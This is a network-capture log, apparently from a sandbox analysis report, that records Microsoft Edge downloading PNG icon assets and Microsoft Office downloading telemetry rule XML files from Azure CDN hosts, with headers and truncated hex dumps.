2024-11-12 12:35:37 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:37 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 101974ec-101e-001e-44c3-34b2ea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T123537Z-17df447cdb5km9skhC1DFWy2rc0000000cc00000000098s6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	62184	13.107.246.57	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:37 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 95c41f3e-801e-0054-31a2-34828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T123537Z-15869dbbcc6rmhmhhC1DFWr8y000000007pg000000007pzv Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	62183	13.107.246.57	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:37 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5cd2d48f-201e-0052-31d0-3475f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T123537Z-17df447cdb57srlrhC1DFWwgas0000000cc0000000004hex Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	62182	13.107.246.57	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:37 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 794c108b-001e-000a-0ab4-2e718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T123537Z-16547b76f7fr4g8xhC1DFW9cqc0000000et0000000009c2u Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	62186	13.107.246.57	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:37 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 19db0411-001e-0028-5172-2c1fb8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T123537Z-16547b76f7f2g4rlhC1DFWnx880000000fp0000000000hkx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	62187	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: a8f5567d-f01e-003f-7aa0-34d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123537Z-17df447cdb5zfhrmhC1DFWh3300000000bvg00000000a9h3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	62191	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 65f9daa5-401e-0083-72a1-34075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123537Z-17df447cdb5g2j9ghC1DFWuyag000000063000000000a8fs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	62189	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: e1b64052-701e-003e-45a3-3479b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123537Z-17df447cdb5fh5hghC1DFWam04000000092g000000003034 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	62190	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:37 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 59bb3ce9-601e-0097-63c3-2bf33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123537Z-16547b76f7fj897nhC1DFWdwq40000000feg0000000096zx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	62193	13.107.246.57	443	6924	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 12:35:37 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: e335897b-a01e-0007-3434-2f9e82000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T123537Z-16547b76f7fx6rhxhC1DFW76kg0000000fp0000000004m7r Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	62192	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:37 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:37 UTC	517	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:37 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: fadf1528-a01e-001e-72d2-2c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123537Z-16547b76f7flf9g6hC1DFWmcx8000000063g00000000b2ey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:37 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

